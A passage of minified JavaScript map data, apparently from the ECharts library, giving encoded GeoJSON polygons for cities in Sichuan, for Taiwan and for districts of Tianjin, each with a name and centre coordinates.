eature",id:"5134",properties:{name:"凉山彝族自治州",cp:[101.9641,27.6746],childNum:17},geometry:{type:"Polygon",coordinates:["@@ĶóšKnw°¤ĠIXVƒ¼kź˜Ôk‚„ÈWŽÞȄÜUVšÅš°@šš‚@U¤Vbkb™ĬôLš¼ÈVlm„Llkn@l¤Ub¯L@xÆx„„°mX™mk°b„°°„²™@¥‚™Uwl¥nU@ƒVUkçVnkWċšbĢ@lÈVVk„J„‚V„aV„W@£ƒUƏxW`™£ÈVVÅlWXÛlW°b²la„@°xnÞVÜĠÞ²@l°Þ²ƒèkblŽ@xÈx@Ġènal£nU‚Dz@‚ÞK„nn¤@¼˜°U¼„nV‚šXU‚šbn™ĠUVbUlVš°LX„@lV„èÜUnK@_ƒyXVyUwmIU»Vƒ„kÇ¥šÿkkV¯m±n@ƒn¯ÜanVVƄz@Ž‚bœwÜb„m@wša@kƒmk»@™a@VUUó„w˜@nb°mš„XŽmnVbގVôanwšJ‚ak£lw„˜šLšÅnÝ@wl¥IÇӃ@U™™Lƒ¼kVǃÅó¯kVmmw@ƒn_‚Vn»°LÅ»@éÇçŹīVÇÝ@ÝğU™ƒaVݙ™š¯ķlŭġlƒ@óÞۂċ@¯nkUӄ—m±™IVġUwóKUn±¯—K›w»ƒKݐV„nl@„óxUwţ›£ĉƒUmŗÇ݃K™„ÝUlmKƒ£UVŽ@ÞȎW¦„Ò@Ĭšnny‚@nÒmœVŽ—¼@°Vbl@VlnUUwl™°a@„œ„@llnk°lbnKWĀnŽU„VxUŽ‚²Å‚m¦Û›ÇڃaU„Vbš@¦m`móX™Umm™xÅ@±Þn虲™U¯»m™ƒV—m@wƒU@wݚÝmLƒa@„™VÇUk„l°¯„VlkVƒ¦UšmxƒaULUèVx@„kIUxmWV¼¯VmȯšU„nl›È—@m»Å™ƒVWxÅbÅğW@kƒm@kVV¦mlnn@‚ō„l¦Åƙxkœ"],encodeOffsets:[[102466,28756]]}},{type:"Feature",id:"5107",properties:{name:"绵阳市",cp:[104.7327,31.8713],childNum:8},geometry:{type:"Polygon",coordinates:["@@„ńlV°š@Őĵ˜VX»ÆUĊќJ‚w„@È»m»š£°Kšk@ÇnÑÆš@„w°JUwnw@wšbVbš@VlźLUw„aƒ»„aUklyUUVakwWXwWƒUxkLƒmn¥mšwk™˜UX™lJ„w@aƒIk°X„¥Wƒ²l¥šaU™„IlmkklƒÈL@m°nlWU™aW—š@Vƒ„@UaV¥@ašk@Çk¹ƒK@a™K@kƒKkšÇX@VU@kx±V™èkIWwUVUkkKÇ@ƒa@wkml¯@kUWn£Wa„aVwnaV݃w¯@UaWx—n›JńUxUšma@L@„mbUށU±VVnkxUƙ„VŽm@kkKW°„X@¤ÇUkÆÇnU¦¯ŽkƒmLVwÅK@UóbÇÆVƒ¦™L@‚±êX¦mVޚkÜÝnWU—„›@kšƒŽ¯wķšnš°ÒU„lln@@„ĶmnkĊJ²bV„lxÞb™Þƒbk»™m™n™@™¤¯bƒz@Žl°UÒ¯È@ŽšxŤX„yV¯°¥Uwƒw²XlºVڝ¼nx›š@ށXݏmxnb@n™J@b"],encodeOffsets:[[106448,33694]]}},{type:"Feature",id:"5117",properties:{name:"达州市",cp:[107.6111,31.333],childNum:7},geometry:{type:"Polygon",coordinates:["@@Uxn°‚bnŽlUnÒÆƒnn@n‚¤„LnxlU„ššV@„Æl„x°XXxl`XœƒVW‚œL˜è—„±nÈbƒŽ°b@š²x°Kܼ°ĉ„V¦lJnU@¦šÞ‚JÞğ„mšLÞ»šxU„lb„VÆann„alŽ„VƍX@lnŎV„mU™maÅXƒa@aWmœ@‚£@wĉJVƒkk‚kkmƒnk@ƒmna@šal„Kš™‚J@Þwm‚ÅŃ@ambkUƒƒ@™™KUġKU@m‚ak¯±ƒ„a@aĉÑÅaVwšXlwƒ±—V¥l@@a™kƒ›@@£šmƒĉÝónWV@ށnÝÇÇx—UmbƒaVkkk@m„@m°ƒÝýXm›akÅīƒ@@ƒmb@@xmšnbƒ@mxšŽkWL@ƒ¯b@WUXmWœWKkbm@kx™Xmm@LUl„xlêóK™nUš„all™LƒlLó°m¯JVšU„K„„@x˜K²Āô¦l°"],encodeOffsets:[[109519,31917]]}},{type:"Feature",id:"5108",properties:{name:"广元市",cp:[105.6885,32.2284],childNum:5},geometry:{type:"Polygon",coordinates:["@@ÆL„Ċx°»Ŧ¦˜W„™šLȄ@xÞKܰÞnVxÅĀlÒnJ°a@w„V¯l@XWknKnw˜VȚ°XXa˜lX°VI°b„W„nšaššš¥@ƒw°™n@šyÆ@nkÞ@°¯lJn„°IÈl‚UšlXÅ@ķlUV¥VUUÝޙUUƒ@UwƒJUkĉm@ýƒƒlk™WUwVwWJk@VUK™lUkaVƒUƒmLk„m@ƒƒ@Uƒ›Ik`@„™UmlUkV¯ÇXKÝ_mm¯@Uƒ`kwmƒl¼±KV¯—¯Vk±Vk±kzma™KUnDZ™bk¦±ŽX„ƒ¦¯Wl„J@bƒxkIWš—Vlš™xnŽm¦„nlKVwX„WxXŽlxUbVVkzVlƒb„¼ƒbVxŹKUk™@Ua™a@xmxVx¯Iƒx™@ŎmÒ@șl¯L™¤n¼"],encodeOffsets:[[107146,33452]]}},{type:"Feature",id:"5118",properties:{name:"雅安市",cp:[102.6672,29.8938],childNum:8},geometry:{type:"Polygon",coordinates:["@@ln@xšèVInxVKn„‚ĊklxkÜVޚÒnÈm°nxš@š¼ĊLV„nx‚WXblIš`š@nmĉn‚KȄôÅlUÑmU„K²¹@ÇÅVÓůVýÞW„‚UVmX„ÆbnwšKUÿ‚™@UmmIUb¯¥Uwƒ™¯™Çmš™„çmanUm»UUƒl—kƒ¤ƒa¯bV™U_WĕmÇŚ±ĢUlƒUl™ÛVƒçkUƒ@WޝKU™VkUağVmš™aV™WUƒmV»—¯@»m£ƒmÝLŽ±@ÈmVk¤mb@ôƒ¦kVkamL@b°‚@b¯¦ÝVƒn@l„ê™b@º„UĸL°J@zV@nmUƒlaĸÔ@xƒ°VҚ„Ub„‚óĢ„ÒWškV@Ò"],encodeOffsets:[[104727,30797]]}},{type:"Feature",id:"5115",properties:{name:"宜宾市",cp:[104.6558,28.548],childNum:10},geometry:{type:"Polygon",coordinates:["@@VlÈnl‚XnWLX`m„²nV‚@b°xĢçlnšVm‚nn„@@„°‚UzšlV°nޘÒkxl„w„`UnVb„mšL@albÞKÈۚmܼ°@Xǚ@wmW@ńKĊL„lV„šLVŎçÞL²±‚ğkw@Uƒy@¹lKX™lKVa@w™™Č@‚w@a˜ÇU¯n™@@wġak—™aō‚ƒƒK@Å»VakUWmķwkbğ¥mL™akš™@ġރ°¯xVVÞ@VšxVš—VWx„XlxU‚™@k²WVŃULmèULVĊklĠ„VœJVx±nѝ¦mwğ@mƒƒlğkkl±@kšUk@¯±Ç™Kƒ—kxl¤b™Imx"],encodeOffsets:[[106099,29279]]}},{type:"Feature",id:"5111",properties:{name:"乐山市",cp:[103.5791,29.1742],childNum:9},geometry:{type:"Polygon",coordinates:["@@kšVŽk„ššÆkšV²UlºÈIlxƒLXèÜlU„„XU‚mkƒbVè„x°@„@¼°Knnn@m˜ÆIUbnJ@bVI°b°±@nK@mVakkƒKl¯nbšmĸ„èl@VnÈl‚UUw„wmwnm°¥„L„™lLnU@Va™ImbkƒmK„ƒƒnk@mƒb™ƒƒLV„JVUUƒ„VnkVmb@a¯JUaÆkk¥„IW¥„Klw—ÑmÝU¯™kVy¯@ƒƒ@mmn™Ukmġè¯w@aU±mnƒW_XKWmkÇmUkóbUÝUanmW™ƒ¯nma—@ƒxVôUV@šb@‚l¼„n@l™b@xƒnÛa›xa@ƒyUÅmUÛbm°@„m‚n²U°ll™ĀȦƒlU„V¼nJVxUz‚W„z@`mL"],encodeOffsets:[[105480,29993]]}},{type:"Feature",id:"5113",properties:{name:"南充市",cp:[106.2048,31.1517],childNum:7},geometry:{type:"Polygon",coordinates:["@@ȲVmšLnblyl²²UUl˜°U°²L‚»„knlx„_Vް@nnÞ`WL°ÈUŽVlnkšV@ƒl_œJV„‚@„„n@lƒnKV£™Çšƒ„UV¯šm„@laX˜U„‚UbVx„@VkôJU°Jn™@™‚wUk°wnUƒV_nJmknmm¯Vwk¯ó¥±ÿ—L@wƒƒƒLVU™kU›bX¯mykI@a±Kk¦ULmaXƒƒVm¯ƒK—z±ƒklUIVbÇJšƒkL¯™l™ƒU™ÿ™UƒlUkJƒUmŽUUkVVklKk@@a™U@„™J„²ƒxƒ¦kĬ@¼±ºXnWb—xƒU@xƒx@lšL@b„Llº@șl@bU¦Vbƒ@U„™@X˜‚bVškX¯m@nÇKk„llknƒJVš"],encodeOffsets:[[107989,32282]]}},{type:"Feature",id:"5119",properties:{name:"巴中市",cp:[107.0618,31.9977],childNum:4},geometry:{type:"Polygon",coordinates:["@@V„U„lbkVšŽVLUŽl@XI‚ŽUxVxšXkl„„@þĊnVl„IVx„@VVݚVÞUVU¦kV@ĸWÆô²š@VÞnš@Vaôb²W@‚K@XUmÑUW°¯°Ina@y„_lWn¼lLUbô¼„Kla@™nkUyô—Æx°@šn£™Ý@¥mVkIU¥Ċƒ‚¯Û»¯L±w@™¯a„Ça²m˜ƒ—ç›KX„UW›k_Ww¯WƒwÅk@ƒ™Uƒ™kVmwƒK£@mmmńmÑkVmamnnlmIU`V„m¯xVlx@šmš¯IV‚óIUlƒ@UwVaƒ—VW‚kbƒ@™nU°ƒV™„šÈU¤"],encodeOffsets:[[108957,32569]]}},{type:"Feature",id:"5105",properties:{name:"泸州市",cp:[105.4578,28.493],childNum:5},geometry:{type:"Polygon",coordinates:["@@VVXwVKn„˜wnVƒn„l@b¯xmKUbVn°°X°@blLšènV„@Vn‚l@U„LnmmUna„VV_ĶV@wnJ„„l@@kkKVólaUwnJm„wUlm@ašUaôKVnJWbޚ@VšwVLX¥VVš_Þ`šw„WƒÞŹmmnIn¥Wƒ@k„WV¯@ƒ°kI™ŽƒLk¼Ç@k¤±Xk˜™nmݯUlÅÛKWV¯kƒlUwkLƒÓ™@U—@ƒ‚w@ġXV„˜WX„š@UbVbšV›š_kÇV™lU°lnwŎ¦ÞaƯnmm¯šU„™m¥nkVmkƒl_ó¥¯UÇl¯@™ƒ™L™kƒ`¯ķLUy¯@mw—¼ķ°ġ_řU°mlšnÇVUޚ„@‚ƒš_ƒJUnV‚UXšbl˜Ģb@x@mšV°—È‚b@‚xċ@šš@xUbkLWškL@º„zV‚@lxĠ±²"],encodeOffsets:[[107674,29639]]}},{type:"Feature",id:"5101",properties:{name:"成都市",cp:[103.9526,30.7617],childNum:11},geometry:{type:"Polygon",coordinates:["@@°n°m²°ÜUšw²ŽôVš°ŽVkxÜźUŰČb‚ŽĢlaÈL„»ƒ@k„wVǂ@„ƒnÛÆ»È™UݰKl_„V°Uš`Vbn@VbÈLšaVU@ƨ»V™nIl™šUUa„±lIk±š@VnKmÅ@WaƒK¦™lVōškK™Ý@maXÇmw¯IU‚@kƒVƒwUmVIƒƒƒç—ÿƒU±ŽÅ@¯È@xƒK@wƒLUbÇKō@mÝ£@yóUóóUxkI@WlIUaƒbƒaŽVĀ™LmxÅaWƒUnVƒÝXUþưUÔÈÆ@±ºƒLnVVÒkóÆ"],encodeOffsets:[[105492,31534]]}},{type:"Feature",id:"5120",properties:{name:"资阳市",cp:[104.9744,30.1575],childNum:4},geometry:{type:"Polygon",coordinates:["@@„è„„UJVn„x„U@lV°JnxWÈnbÞ@šŽlLŎ™Ušk‚¥„LXbÆ@nŽmLU‚@zlbXmlnVynL„çšJVb‚UnómUnamU„an¥lKV_²aValWô„n@nƒ‚bVœK°¯VblW@kkƒlUnlV£°W@w„UXk°KVwƒmVkwVyVI@wkmƒVÅ_Umm@Uÿmbk£™xUaVw±V¼V¤kLWxU@Uk™bƒyƒXšómƒ°V@@zÝÒkKƒn™±U@@_VVkƒÇaVwnLWalm@@kkVVl™¦kIV`±n@w„Kƒƒk²™aƒVUUV¤™nkxmUkVWVnLUbVbƒ`kUU„mLU‚mX@`ÅbǚXbWLXŽ›n"],encodeOffsets:[[106695,31062]]}},{type:"Feature",id:"5104",properties:{name:"攀枝花市",cp:[101.6895,26.7133],childNum:3},geometry:{type:"Polygon",coordinates:["@@„b‚KÞnޙ@x„V@x˜n„Unš°¼šVš±mç²ÝÆ@šwnnšVWŽnôn_@¥‚™UaVƒ„bƙœÈ܎n¥Æ±VUwVƒmXÿmLkal¯km@k›ƒ@ƒ¯bkšVxmVUkk@Ua@¯˜»Un›mс@mz™m@īƒÑX¥Ç@ݙxU¦ƒšÅŽÇUkx@šlb„UWVX„mV@xĵ˱@@ޝxUšÆLnÆm„šx@nXL±lUUVwKWak@WxkbšÞƒŽĉbUn@‚ƒ@@xó¦„Ŏ"],encodeOffsets:[[103602,27816]]}},{type:"Feature",id:"5114",properties:{name:"眉山市",cp:[103.8098,30.0146],childNum:6},geometry:{type:"Polygon",coordinates:["@@„šVx°¦VanJVnš@„b„aVbkJ@XlJVwôôôV@zÞ¤@nƎÈLVa„K@x„L@w°ÇÆ@²„V˜ĀœmWXKWașÆa@_nWVnKVƒlV„_UaVamKXUWwnmmwœÑm£@ynUƒkWƒĉUkWVkkV±çkJmkKƒšƒK¯¦mnnxƒxVxVÇkUmk@ƒçķ™nmak°„LllUb@nmL@‚¯²¯aUJ@amIVaÅJn—m@mm¯L@»ƒŽ¯@ƒwUç„anlVƒWVƒÛkWç„KkwÇJk¹±V™UÅl™™ġV™²ÈƂnXĖV`Uš°a„b„£˜l„kVVn¼mVnbƒè™šÈn°š"],encodeOffsets:[[105683,30685]]}},{type:"Feature",id:"5116",properties:{name:"广安市",cp:[106.6333,30.4376],childNum:5},geometry:{type:"Polygon",coordinates:["@@„VlIV‚„kšVšĀ„Vkš°šlK™„ÈIUaVJlk²„˜y„Ln°„UW„nbVKl¥²L@blJnzW°œalV°Inô¯‚K„kšKkkƒbV™šmôLkéƒwVk@KnnšWlwn@laXL›ŽnXVW@X°a@„XKl™nw„@man™@w‚@na@„„@ƒw™ĕġġ™wUkUWb@mk@™¦ƒ¥mUÛb±yÅn@bml@kV@„ƒlknVbmVnlmš—bÇk¯bWyk@V_UamJ@I—@WaƒVXamIVWkUkbVaƒUUxƒ@VnkVU¼›bkKUxmK™„@WšƒxnV@n"],encodeOffsets:[[108518,31208]]}},{type:"Feature",id:"5106",properties:{name:"德阳市",cp:[104.48,31.1133],childNum:6},geometry:{type:"Polygon",coordinates:["@@nUW¥²é@šK„¥‚UÈÅôa@VÆLUxnKl„°V¥ÈmlÅÈV@£ƒWX¯lLln@UšƒVÅlwUm²U‚VVna@ƒ@KnbV™VwƃœI˜mXwWƒkIVwÝĕVUa™IƒèmKUzkmWnka@y™@l²kJƒ²Vb™VkšmJUšƧ¼@UV™bÇKUam@Ua™_¯VƒUk`¯LVÞǚżm܃„@Uȃx@l„ƒ¼ÇKkbWŽœšVxUbƦnxƦĊV"],encodeOffsets:[[106594,32457]]}},{type:"Feature",id:"5110",properties:{name:"内江市",cp:[104.8535,29.6136],childNum:4},geometry:{type:"Polygon",coordinates:["@@²èlUUllXĊVX„„lmV@zn¤›ÒnxmnXxlUnVlwšmU£VV„Ušbl±„„ƒL@x²mU_lJš¥UklU@ln@‚kXbmKUxÈbl„UU@`V@š²„mlLÞÑ@yU@„¯ôn‚™„W„zšaVlV@XwlKU£‚»—aVaUwm@mwUVUwkƒlVDzLlƒ„KV™m_@ykUmƒ@mU™çkKmxkIU‚Ý„@LUJ@n±„kº‚LXb™¼@mmIXa™@mamnkW™ƒKUƒƒxƒ_U`UklwUw™mUbƒV™²ƒakbƒmkn@`„UmҙšVxUb™I™`UƒaÝÈ"],encodeOffsets:[[106774,30342]]}},{type:"Feature",id:"5109",properties:{name:"遂宁市",cp:[105.5347,30.6683],childNum:4},geometry:{type:"Polygon",coordinates:["@@ÞĖUxlJX„Vb°@„xUÞmbUxƒbXbm¤VX@lk°ln@x„bÈ@lLVlVUXxlJšç²UlwV@@UÈWl™„L„w@w„V˜wXaWm²¹@»lī„¥„wƒ±šI@ƒšV@bl@kLUllUVVn@mmU„wX™ċbVb@VUkbmamšW@kƒa@™™k@ƒlaUa™@¯b@šmmwó@@lkXUa¯°›LU‚am„m@óƒkXUb±bU`kLm¦ƒbnVmbnVmô"],encodeOffsets:[[107595,31270]]}},{type:"Feature",id:"5103",properties:{name:"自贡市",cp:[104.6667,29.2786],childNum:3},geometry:{type:"Polygon",coordinates:["@@lIÞDŽbVŽš_šJVaUwš™nуV@_lm„nla„bš±„UVašnVxkxVlV_„`„wV„„LšlXnmnbš@WbnJ@nš»WaKl¹²ƒ@mVI@KރVlJnw@aW¯¯¯UmVanL°w@aƒk„mmU—xmƒULWxUUÝKōèU™KUƒƒkĉKƒL@ÆnX@x™‚Wȯ@Û»™nÇÜÝLka@b™KƒnUaVmƒ_ƒxkƒLX¦ƒJl¦ÅlVb°I@bnaUŽmlƒUV„UVƒIUŽ„Kš„„a@nml„„ƒŽnLl„našJUbV@"],encodeOffsets:[[106752,30347]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/tai_wan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"7100",properties:{name:"台湾",cp:[121.0295,23.6082],childNum:1},geometry:{type:"Polygon",coordinates:["@@\\sŽ@pS}aekgKSu™SsMß`¡CqZ·be@Q^o@‹gieMp‹‰]}•}Ľc_Kk…{™ù“A¡r‰[uom@эĥJiq©mʼnq¯Bq]ÙYgSåk_gwU­isTE…“‘ĕiqiUEkue_‰OSsZ‹aWKo¡­q“ycY£w}‹ĩ™ĕS§Z©S™N¥SyLÑ¡±Ks^IY‰PdƒY[Uo†Fp}´\\¬\\j]ˆe܍ò‹¤¡–ā a\\bn™U㺹Ìs¼j®[cíȈEŽĝĆ`ļf¶Š®K|VØDdKGpVnU‚FjpH—F`†B’[pMºxÖjbpÎxp€¬‚|ΟÜÒCв®‚ÜAp„ZG~€Šd˜ÞàV¨|¸€`|Œ²tx~\\~|dFf^zG€ĄŚhœdL\\hĸž¼†ŠOªP®lV`p\\]Xpll˜æ¤œCpQ|oF}fMRi†NSon_²qämœM„NM‹\\•"],encodeOffsets:[[124853,25650]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/tian_jin_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"120225",properties:{name:"蓟县",cp:[117.4672,40.004],childNum:1},geometry:{type:"Polygon",coordinates:["@@EUDAEI@WNMNCBFAHFFNACDJDPBD@@GD@DIFFHEFGDBDEQOFG@EI_KG@OcJQM]RMEKBGPG@[LaCIICBWKCEEG@WBQHCDFD@HSLEJI@IHWECFGAAEKCGDBFCBSBIDCKKHEADMJMFABKOKEQAA@IEEG@GIQAEK@OZEESMOL“lu@SLUTYFQCMG@@SQUAYKAACA@IB@BDB@B@DC@@BGAEFAA@BEGKJCC@AGAIHA@@JC@QEIP@@A@EGIDC@O@C@@@@CJCWKABFLBBEBSQGBAAMIEM@AKBcJEN@BEBCFMAEFEF@J@BG@BFABECKFG@AFQ@@F@BEB@@A@@AAAKAE@GFGDECEFEECBKIKDELDFEDYH@EIACDCHKBEB@BAAC@ADBHABKJIAIJICEDGDCD@@A@A@DHCHJHDFEFGBKRKBGIK@GIMHSBCH_BOJECCJCFKKMD@DNJEDEGC@OJCJHRUL@HRJ@H[DCNKDZHCTFDHCFFKR`TANVDFZRDLFARB@HPAPG`ILAR@TERNDFNHDLCLDDCXDYbHF@FEB@LDDVE@JPNfXPINCVDJJD@NJPAJHLXHDNANHhB@DPNLRMTBFRBHHr@`NBFEBOCCBIAQJDHCHLHFA@HSDCRLFTB@HEFLNF@PELBDJALFLTC@EPFLLP@tUHQJDfIHGTB^JTCPDLKAIBATFPADIEGECEMJ@JIAIHGECFEAGDI\\SPOXAFCL@BQTQBBTMZECYGAHA@GJAE@HCAEME@IECFKJADDBABLTHHG@ILEAMNDJCDHEBF@@JNFJELDFKTOT@JETBFFHBHEHKI@@IJEJ@XKEOUMS@AF@CEB"],encodeOffsets:[[120575,41009]]}},{type:"Feature",id:"120114",properties:{name:"武清区",cp:[117.0621,39.4121],childNum:1},geometry:{type:"Polygon",coordinates:["@@FWôµ@IFCLIB@EHNBp]AGEAKAEDMGZKFGBGME@ILGP@HEFB@BXMEAHUGC@IHCLOD@X[NWHWPKAEF[@EKIOL@EKGBNMJ@EIEHKBIC@BAKMIACCFQZCF]DB@ERAKADIHGEIBCGIIECFaGLZO@EFCNGAGDGAKL@BMG@IE@ADSDEH[JGC@CGA@BMDeK@EIACFE@@GG@FIAMM@CCGC@EM@ADE@CFMAAGHBDKIEAJG@DOGCDEKAGIS@KFCHKAEHIE]BeKNO[IFIOELC@A]GMBKVYCDDgGAICARc@MW@AQE@DGI@@AQ@@BKBAIQQYEFW@CEADIGGBCEIiMEMF_LGEKMBBDWEBGRC@E_CHYGCH_IAED@FFBQh@FGJaJ}AHRAREF@bE\\C@CT`FHC@\\BBF@BID@HGDDJ@@FAHKBARECKDAZBJIVNHCTA@EREAMLHDAFFBVFFC@RNRETHD@FOJMACH@CAB@P@DF@@FGDWE@FFSIEMKQDYCCHKb^JADOCIDGNDBdBCFJB@EC\\A@BJEA@JAAAD@HHD@LFBCFF@BERDHNhZQHMBGHOACCEBWEGD@PSJKCGEUD@CINLFGHE@AJK@HDABBHTB@F`DBFLBBHEDARCFG@ABJBAPVFE^FBGLGCFG_BMLEXGAAFE@@JNRVJHFALFBEHQJCTbNDHCF@PlFLJSXCHFHfVBTNJ\\BPJXC^FAVNFCHFB@FFH@JF@\\ABCFD\\BDMCAAJKQBGAILOEGHILECQLWFENJHADC@QxNHFJNLDFA@CBA@D˜UÂmR@FBL@BD"],encodeOffsets:[[119959,40574]]}},{type:"Feature",id:"120115",properties:{name:"宝坻区",cp:[117.4274,39.5913],childNum:1},geometry:{type:"Polygon",coordinates:["@@TZbB@JHD@DODCLM@AP@LL@BNH@ETFN@`E@DNG@CHLBCJA@AICFKDDBKA@\\N@AFNAGRBFjFFFL@DHLBLFQPcXAZMJ]GAVHAIZJFNE@JpDRRDCLFDGXA@EFF@CFFPDfEBDB@DCHCFCJDJIJBLI@I@CB@@ADBB@FALADGDC@@H@BB@FZGFCCE@@FMLALJDAFFFEFDFCB@@AHCF@L@@BBB@BB@FC@E@@R@BEL@HEFD@G@AH@AIB@@@FEFEBALDDEFAFO^IF@JCBBFPNJJ@D@PRDCEKBAXL@BIFD@T@JE@BHHJORFDI@@B@JGH@@B@BDDLIFFHCD@D@DEE@BAAAB@DAF@B@H@NGLJLMRDNMfGIEPMI@GDAKK@KIDIJ@GE@CFDN@FE@GFEPGV@TCDFKHBBF@RW@DD@@ID@TJFKIKLI@EP@IGBCLAEKLEN@KSHIGYACSD@SEAMBBMGEBMQBCMIGKFB[D@HDLPHDBC@IFITDLG@IIIFGVBNJDLN@VIRI@YIAIHIC@CLKZCBEE@JECEIHEAKGDGECBGEEM@@DA@CCCBBEGA[GEDBBoNAAH]MKiIAWKQoIIPMFQAEEDMH@FMSUYIeF@EK@BIOEKJEBICFKaKPFAFSE@LWCCFMHDDEKESBOGBKIEIODLG@CCDEQCEDWEMDIEIB@EHGEEDAEAa@@HqDEJGF[AECCFa@WCEIKAAEQB@FCAE^YDERDDJBLNABD@AJGLJF@FNIAMLH@FPKLJ@FE\\BFOLGXMXW\\C@KPGD@JHDGVFBWN@AEAGFO@KH@JNFAHEHYLNHFCLBFBBHo^MAFGA@KJED@Jó¶EX"],encodeOffsets:[[119959,40574]]}},{type:"Feature",id:"120223",properties:{name:"静海县",cp:[116.9824,38.8312],childNum:1},geometry:{type:"Polygon",coordinates:["@@NGFMDATCNDR@CCbINEHNJA@C\\EEGVE@IhE–[˜w”epc¢·²›^QEKIEKIgiQDkehY£uSDBMkUDOJDHC@GF@CAFBFEN@C‹Q@BeP@@G@HD@@MHQKi@[IGCOCESE@GMA_OcCGDu`aˆ@VZzKDkJBLNXGDqKEWE@cFEFA@ƒISIi@@KMABJGBcMuFEzGVH\\ATSEUBeALCEMG@CEBUHUCGXaBPtUBBFIBFTDFF@DDKBFNGBJPHXDDMDCLJ^mBIHIL@LR\\@LCR[@@z@NFD@LLBNb@RHDBNTPT\\F@BJF@BXCFBHHBDLFB@HODADE@@JHVXCPDHCFTLBBFNCDCCCU@@GAABEHHZHBCAEdEjFDD@GfD@DXFCHF@ERFDLBH@"],encodeOffsets:[[119688,40010]]}},{type:"Feature",id:"120221",properties:{name:"宁河县",cp:[117.6801,39.3853],childNum:1},geometry:{type:"Polygon",coordinates:["@@BFLBFJXDb@DEFD\\BHEFIrC@Gb@FBCBFFGH@FJAJFNCXFFCRDCFDDH@CKJPJFALPHTALFCFGCENDDKXF@ETEBO‚bLELJDFALIPFAJL@@FfEZJTVENG@CNFFRBNEJOpJLRBXjJNLG^BBpMAAFC\\HHBAFDADDB@@CN@FFAHFDCHLHFBJGFCFUNKJJTD\\XUXF\\^F@DDDQXXBRLRCBDFEVCDLVDpUl@LEDJHAPRFGL@CETGPBTCDDVI@CFF@GFDCCVGLKEK[Y@MECISG@BKNSCGCKWEAaEBEKNGFSECO@GGM@GYI@DÅCMLHPTF@DJHAVVNKEGDETJ^[TJNNd@NOAMFYJ@@GFANDPEJB^aOadSTQSI@MHBDIEOKCG@EEFCKCqXO@@DMFENCDDHCCGJ]AKFoDaGGHYFDHKJiCMFGC@EQ@AEHGAC@IEAATKOHGIC@IXIFEoƒGE[JCFCDHNmRADFZMF[EEBMO{GU@AOW@@]ZeHBDEHBKEfQkuIWBs‡@EC@d[@[^EDMTKCEEcI@cDAB@FCBCACmOCG{PYHeBgPwPFDDALFFFCHQGSD@BHFAR[TaFYXMASUiGFL@DQNCJI@@D@PLDN`ETEFIGMCGBCE‘~CAIFDPEHGEQPHJADFJGHCJLB"],encodeOffsets:[[120145,40295]]}},{type:"Feature",id:"120109",properties:{name:"大港区",cp:[117.3875,38.757],childNum:1},geometry:{type:"Polygon",coordinates:["@@JFFL°_`ONJKDDFIFZN xlb~yFVNRŒrdJGzDPVFBCTNND\\UR@E`F@@Ip@IWGUoawOEE@ÏDgK{İEEMFëC—b…™@—KwOCDHHKBDJCDEEEAGHOABFABMCgDLSQ@CFEB‰MgYIDQINE@AUSwSAdYEHQMEyK[KI@GRMLE@@OqOoBOnpJ@BmEAFHL^FDB[C@BBDVFAHFJENB@sNEjQAMYsUgCSBGDJH@\\LjGR@NC@@G@HO@AfR@DŒM@EFEADBE@@HGDICCPlVANTC¤vgZlfRChjLJ"],encodeOffsets:[[120065,39771]]}},{type:"Feature",id:"120107",properties:{name:"塘沽区",cp:[117.6801,38.9987],childNum:1},geometry:{type:"Polygon",coordinates:["@@|ODHnPBDADEDA@CB@ddJFFLDNSFC\\]\\@@cFDˆ@nACOMW@M@ITURBRZNHNWRQšoO•j½f‡cqŸAqeiDÿÍyÓįFL|Ch@ÐFFxPpbHVJXo@@JCTR^BPABQA]^MB@bE@@FQBFVJRH@FXtPNZSBAja@@NƒDTŽLJrQTHFXZFB`"],encodeOffsets:[[120391,40118]]}},{type:"Feature",id:"120111",properties:{name:"西青区",cp:[117.1829,39.0022],childNum:1},geometry:{type:"Polygon",coordinates:["@@@LHAHRHATh`LHNHDG`HDGZ`D@FQDAHXFACNAFLVRTBFOfHDCVBFQH@HSXHEPFB@LDBF[bDbLFKJBFLADBDjLvCPEI]FGEIGCBEUSjcFiBIVWfaHCjN^HtwBBFGPBJGjFBEGECGDONMFAP]TDHQOWCMGAMHKIJEIGQ]aDlUG]VGEGDC„{PEbBZmE@@GH@BCA@FMQCFMYMJECELCMI_P¯`]R±œ¡¸od“f—x•\\gF@JUFFH[F@DIBGMMFaJDDQ@MCSDCBENMH"],encodeOffsets:[[119688,40010]]}},{type:"Feature",id:"120113",properties:{name:"北辰区",cp:[117.1761,39.2548],childNum:1},geometry:{type:"Polygon",coordinates:["@@ROHFFGCOJEDB’}DFHANDJHFEFSM_KC@O@CJ@DIRM@CEKKA…L…FKACHoLSJSIBETDJaEIIE]E]K[MYUYQILC@GF[MGNKEK@A@BCWECAIFEFYAGFOMI[OFuDiKACBCEKIAELaKaCE\\CA@KEAFOWGGTG@ERUACDeGEPSAUQKHE`FNjNFJADHHCJFB@DEXZFRRBJLA@AR@@BJ@CHF@BRX@@NQdDBBJhHCCZDLUNA^H@BKDPFEJ\\JMPfL^AJFFGLBDGLET@HJLBCFHDCPH@BIJFCLGABHNBDEF@BCN@@FHDDDN@BNEJH@@HF@DEJB@FfLNC@AHB@DHD\\IFGTCBCF@@JNH@ALKHBHCHBDMFEP@KYbHDEJF"],encodeOffsets:[[120139,40273]]}},{type:"Feature",id:"120110",properties:{name:"东丽区",cp:[117.4013,39.1223],childNum:1},geometry:{type:"Polygon",coordinates:["@@ZV\\N^L^FJFFJIbSCAFTJTIpKDGLB†E†KLBjHTVNBZWbE\\SBQGE@ATCRHDGEEKECBECxOhOfAZGA_YEEWSGqRKIS„C@Mb@BiTAMYsOEWG@IQEURA@EF@@acUOXQRYCUDCHDTEF[SUEgAYDcVGJM`iAWDWLQRMHUHgDsDBLHJFCFDFGHBFFVEAGHCJN@RJF‡PIhBD\\FENCPWA@LFBAFHBEJUEARCDIAEDQBRNa^"],encodeOffsets:[[120048,40134]]}},{type:"Feature",id:"120108",properties:{name:"汉沽区",cp:[117.8888,39.2191],childNum:1},geometry:{type:"Polygon",coordinates:["@@LMEI\\MTABKN@FCDMH@COAcH[AoēA™M¡Wa[Meq™pQRMXMGQYQASV@J@NNXDPmBAtJXlveRLFGACFGAYf@^X@BPV@|HNPFA\\FNEEYBCnQGMDCDE\\IHFp„EFWJ@JJDGHLPBSFB@JBDGHBFR@@FHDNEjDLICGZEHGbHpCLE